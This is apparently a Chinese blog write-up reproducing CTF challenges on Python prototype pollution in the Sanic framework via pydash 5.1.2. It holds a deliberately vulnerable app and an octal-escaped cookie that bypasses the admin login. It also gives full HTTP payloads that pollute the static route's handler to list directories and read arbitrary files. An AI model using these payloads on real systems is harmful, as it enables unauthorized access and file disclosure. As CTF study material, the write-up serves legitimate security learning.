Python原型链污染

前言

无。


环境搭建

新建一个Python项目,先添加依赖:

1
2
3
pip install sanic
pip install sanic_session
pip install pydash==5.1.2

限定了pydash版本,估计原型链污染就发生在这个版本的pydash里面了。

然后新建一个static目录,里面随便写个index.html,然后新建一个index.py把主代码贴进去就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding:utf8 -*-
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin'):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

登录

原型链污染发生地点为pydash.set_函数调用,前提条件为登录admin用户,admin用户登录条件为登录用户名满足字符串adm;n:

1
2
3
4
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

尝试直接提交字符串,发现分号;会截断cookie,而且sanic貌似不会主动进行URL解码,所以需要寻找另一种编码方式进行绕过。

找到sanic框架下的cookie处理代码,该代码位于request.py文件中,首先根据分号;切割cookie键值对:

1
for token in raw.split(";"):

接下来做完cookie名合法性验证后,会对双引号”包裹的cookie值有一个特殊处理:

1
2
if len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no cov
value = _unquote(value)

其中存在一个特殊的正则匹配:

1
o_match = OCTAL_PATTERN.search(str, i)

该正则匹配的是八进制数据:

1
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")

后续会对匹配到的字符串进行进制转换:

1
2
3
res.append(str[i:j])
res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203
i = j + 4

因此可以通过双引号”和八进制编码完成登录:

1
2
3
GET /login HTTP/1.0
Host: localhost:8000
Cookie: user="adm\073n"

原型链

观察到Pollute类下存在一个__init__构造函数,根据参考文章,可以通过访问其属性获得当前的类和方法:

1
pollute.__init__.__globals__

结果:

观察代码,可以看到app通过static函数设置了静态文件目录,而静态目录下的文件可以被浏览器访问,因此考虑通过污染static配置的方式,将static目录修改为根目录等方式实现任意文件读取。

观察static的可选参数,可以看到存在几个有用的参数:

1
2
3
4
5
file_or_directory (Union[PathLike, str]): Path to the static file
or directory with static files.
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.

代表了静态文件目录和列目录开关,修改后看起来可以实现列根目录和任意文件读取。

接下来就要尝试对这些参数进行污染,尝试访问static路径如http://localhost:8000/static/,得到报错:

1
2
3
4
5
6
7
8
Traceback (most recent call last):
File "handle_request", line 102, in handle_request
if TYPE_CHECKING:
File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\mixins\static.py", line 332, in _static_request_handler
return await directory_handler.handle(request, request.path)
File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\handlers\directory.py", line 70, in handle
raise IsADirectoryError(f"{self.directory.as_posix()} is a directory")
IsADirectoryError: D:/Python2.7/sanic/static is a directory

怀疑关键点可能在static.py中,给主程序中的app.static函数调用下断点,然后找到static.py文件,在StaticHandleMixin类里面找到_register_static注册函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_handler = wraps(self._static_request_handler)(
partial(
self._static_request_handler,
file_or_directory=file_or_directory,
use_modified_since=static.use_modified_since,
use_content_range=static.use_content_range,
stream_large_files=static.stream_large_files,
content_type=static.content_type,
directory_handler=static.directory_handler,
)
)

route, _ = self.route( # type: ignore
uri=uri,
methods=["GET", "HEAD"],
name=name,
host=static.host,
strict_slashes=static.strict_slashes,
static=True,
)(_handler)

该函数会将静态目录和列目录开关等配置整合为一个handler,然后注册到route路由中去,找到route函数,此时用于注册路由的name等标识如下:

用于注册路由的name为__main__.static,继续往下看route函数,可以看到返回的是一个decorator函数,该嵌套函数通过nonlocal标识访问外层函route数的name等变量,再与handler统合为一个FutureRoute对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
route = FutureRoute(
handler,
uri,
None if websocket else frozenset([x.upper() for x in methods]),
host,
strict_slashes,
stream,
version,
name,
ignore_body,
websocket,
subprotocols,
unquote,
static,
version_prefix,
error_format,
route_context,
)
...
if apply:
self._apply_route(route, overwrite=overwrite)

最后进入到app.py文件的_apply_route函数提交,添加到app下面的router成员中,此时的params即新构造FutureRoute对象里的name和handler等数据的集合:

1
routes = self.router.add(**params)

再进入到这个add函数,会调用更上一层的add函数:

1
route = super().add(**params)  # type: 

最后以name作为索引放置到name_index里:

1
2
if name:
self.name_index[name] = route

综上所述,从app出发可以摸索到static相关配置,因此存在通过原型链污染修改static配置的可能性,在编辑器中调试一下试一下就能找到搜索路径:

1
pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords

结果:

污染路径已经找到了,思路也清晰了,可以开始实操原型链污染然后实现文件读取了。

污染

先尝试修改directory_view实现列目录功能:

1
2
3
4
5
6
7
POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 32

{"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view", "value": "True"}

访问http://localhost:8000/static/,这次就成功列目录了:

再修改file_or_directory为其他路径即可实现列目录后文件读取,注意一下类型:

1
2
3
4
5
6
7
POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 166

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["D:/"]}

参考

CISCN2024-WEB-Sanic gxngxngxn

DASCTF 2024暑期挑战赛-WEB-Sanic’s revenge gxngxngxn

Sanic框架下原型链污染(以国赛sanic和dasctf-sanic题复现为例)


Python原型链污染
http://yoursite.com/2024/08/16/Python原型链污染/
作者
Aluvion
发布于
2024年8月16日
许可协议